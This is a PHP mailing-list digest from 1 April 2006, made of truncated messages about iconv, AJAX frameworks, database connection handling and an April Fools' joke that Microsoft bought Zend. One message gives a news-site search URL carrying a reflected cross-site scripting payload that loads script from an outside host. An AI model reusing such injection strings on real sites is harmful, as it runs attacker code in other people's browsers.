php-general Digest 1 Apr 2006 17:45:41 - Issue 4047
Topics (messages 233040 through 233048):
Re: How to debug in CakePHP.
233040 by: John Nichel
Re: preg_match
233041 by: chris smith
Re: Overloading Limitation- Can Someone Confirm?
233042 by: Jochem Maas
iconv
why is this iconv function not working for me?
i am converting $search to euc-kr charset.
my conversion code is not working.
background and motivation
i have to mimic a accept-charset on a form to fake a get request by
disguising it as a hyperlink. (my firefox
Hi there,
I am trying to encode output with php with uft8_encode(); and then output it to
an xml file. Unfortunatelly this does not work as the string that has been
encoded by utf8_encode is not valid utf8?!
Any ideas how this has happened?
Here is a link to this file:
why is this iconv function not working for me?
i am converting $search to euc-kr charset.
my conversion code is not working.
background and motivation
i have to mimic a accept-charset on a form to fake a get request by
disguising it as a hyperlink. (my
Hi,
Anyone can suggest me which PHP AJAX framework you are using, for what
reason(s), what are pros and cons of your particular choice.
I found many, and now facing difficult choice.
BTW, how do you pass session id between calls to PHP from JavaScript (cookies
or explicit
I always close the connection right after my
query -- force of habit. It's like leaving the
toilet seat up, it's only going to get you into
trouble.
So you close it after every query and then re-open it later for the
next query? I don't see that as a good idea.
No, you
Andrei Verovski (aka MacGuru) wrote:
Hi,
Anyone can suggest me which PHP AJAX framework you are using, for what
reason(s), what are pros and cons of your particular choice.
I found many, and now facing difficult choice.
BTW, how do you pass session id between calls to PHP from
I've just heard about Microsoft deal, the geant bought the Zend
platform at 113 million US$.
What will be the php future ? it's gonna switch to proprietary licence
? closed source ? or it was a Zend product deal ? (zend studio,
platform ...) not affecting the php language in itself ?
Does this
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
I've just heard about Microsoft deal, the geant bought the Zend
platform at 113 million US$.
What will be the php future ? it's gonna
Did you even look at the calendar which date we have today?
Correct, April 1st...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Zouari Fourat wrote:
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
Seriously... consider the date.
-Stut
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
I've just heard about Microsoft deal, the geant bought the Zend
platform at 113
hope that :)
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
Seriously... consider the date.
-Stut
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
I've just heard
Come on, you should have played along... ;-)
Gerry
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
Seriously... consider the date.
-Stut
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
that is f--'d up manI just started liking php5 :(
Oh well, f-- this open source garbage.
On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:
Come on, you should have played along... ;-)
Gerry
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
here's the link
Gerry Danen wrote:
Come on, you should have played along... ;-)
I'd had my fill by the time that arrived. It seems to me that people go
overboard now. Slashdot used to have one a year, and it was always
something that was vaguely possible, this year they've even changed the
colour scheme on
:) Gerry not that funny ;)
I was affraid :o from the news
On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:
Come on, you should have played along... ;-)
Gerry
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Zouari Fourat wrote:
here's the link
Zouari Fourat wrote:
:) Gerry not that funny ;)
I was affraid :o from the news
Rule #1 on the Internet... Never trust any news without a link to an
official source
Rule #2 on the Internet... Never trust anything you read on April 1st
-Stut
--
PHP General Mailing List (http://www.php.net/)
Zouari Fourat: lol, bet you feel silly now :)
Stut wrote:
Zouari Fourat wrote:
:) Gerry not that funny ;)
I was affraid :o from the news
Rule #1 on the Internet... Never trust any news without a link to an
official source
Rule #2 on the Internet... Never trust anything you read on April
Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
PHP to be what it is, he just wanted something simple and now look at it.
It's WAY to complex for an unorganized bunch of hobbyists to maintain.
nice one!
On 4/1/06, Joe Wollard [EMAIL PROTECTED] wrote:
Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
PHP to be what it is, he just wanted something simple and now look at it.
It's WAY
Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft buying Zend
would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't
even mean for PHP to be what it is, he just wanted something simple and
now look at it. It's WAY to complex for an unorganized bunch of
Are you guys sure, I mean the St Louis Post Dispatch is showing it too... As
is Cincinatti.com
http://search.cincinnati.com/sp?aff=5keywords=%3Cscript%20src=http://www.xssfools.com/xss.php%3Fy%3Dh917254010%3E%3C/script%3E
Hey all,
Most of your seasoned vets might already know this but for most of you
newcomers run a script with phpinfo() in it and check the php logo on top.
Its a little easter egg thats around just for April 1st (thanks go to
Zouari Fourat for reminding us)
Cheers all!
-Ryan
--
PHP General
Stut wrote:
Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be
enough. Of course I'm joking, why would I be on this list if I didn't like
open source and PHP in general? Besides, I made fun of Chris and Rasmus
specifically because I know they're on this list. They both know they
Joe Wollard wrote:
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would
be enough. Of course I'm joking, why would I be on this list if I didn't
like open source and PHP in general? Besides, I made fun of Chris and
Rasmus specifically because I know they're on this list. They
tedd wrote:
I always close the connection right after my
query -- force of habit. It's like leaving the
toilet seat up, it's only going to get you into
trouble.
So you close it after every query and then re-open it later for the
next query? I don't see that as a good idea.
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Gerry Danen wrote:
Come on, you should have played along... ;-)
I'd had my fill by the time that arrived. It seems to me that people go
overboard now. Slashdot used to have one a year, and it was always
something that was vaguely possible, this year
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
Here's assuming that was a joke so I won't get into the factual errors.
I wonder how Zend and the other core developers will feel about being
referred to as an unorganized bunch of hobbyists.
Now that is slander we don't need. Group hug with the Zend
On 4/2/06, tedd [EMAIL PROTECTED] wrote:
I always close the connection right after my
query -- force of habit. It's like leaving the
toilet seat up, it's only going to get you into
trouble.
So you close it after every query and then re-open it later for the
next
At 11:07 AM +1200 4/2/06, Jasper Bryant-Greene wrote:
tedd wrote:
I always close the connection right after my
query -- force of habit. It's like leaving the
toilet seat up, it's only going to get you into
trouble.
So you close it after every query and then re-open it later
Time. Opening a db connection is time consuming. There are many levels
involved (making the connection, authentication, etc).. Even worse if
the connection is over tcp/ip because that overhead comes in on top as
well.
Have you timed it?
It would be interesting to actually run a script that
On Sat, 2006-04-01 at 20:15, tedd wrote:
Time. Opening a db connection is time consuming. There are many levels
involved (making the connection, authentication, etc).. Even worse if
the connection is over tcp/ip because that overhead comes in on top as
well.
Have you timed it?
It would
Robert Cummings wrote:
On Sat, 2006-04-01 at 20:15, tedd wrote:
It would be interesting to actually run a script that opens,
retrieves, and inserts data -- let's say 50k times. What's the time
difference between one open, 50k retrieves/inserts, and one close--
as compared 50k opens
On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote:
Yeah, e.g. I have a database objects layer that means I only write SQL
in classes, everything else is just calling object methods. I create the
database object at the start of every script but that doesn't
necessarily open the
Robert Cummings wrote:
On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote:
Yeah, e.g. I have a database objects layer that means I only write SQL
in classes, everything else is just calling object methods. I create the
database object at the start of every script but that doesn't
On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote:
Robert Cummings wrote:
There's smart lazy programming, and sloppy lazy programming. I don't
trust anything magical in PHP. Most of us are familiar with the magic
quotes and global vars fiascos *LOL*. But hey, if you can squeeze a
Robert Cummings wrote:
On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote:
Robert Cummings wrote:
There's smart lazy programming, and sloppy lazy programming. I don't
trust anything magical in PHP. Most of us are familiar with the magic
quotes and global vars fiascos *LOL*. But hey, if
On Sat, 2006-04-01 at 21:57, Jasper Bryant-Greene wrote:
Robert Cummings wrote:
Of course, it wouldn't exactly be a rewrite to make it close the
connection at the end of every script before PHP did, if I'm proven
wrong and it one day is necessary. I'd only need to change the database
Jasper Bryant-Greene wrote:
snip
I never close connections; PHP does that for me and has never caused any
problems doing that. I don't see it as sloppy programming, it is a
documented feature that PHP closes resources such as database
connections at the end of the script.
It's extremely
John Nichel wrote:
Jasper Bryant-Greene wrote:
snip
I never close connections; PHP does that for me and has never caused
any problems doing that. I don't see it as sloppy programming, it is a
documented feature that PHP closes resources such as database
connections at the end of the script.
41 matches
Mail list logo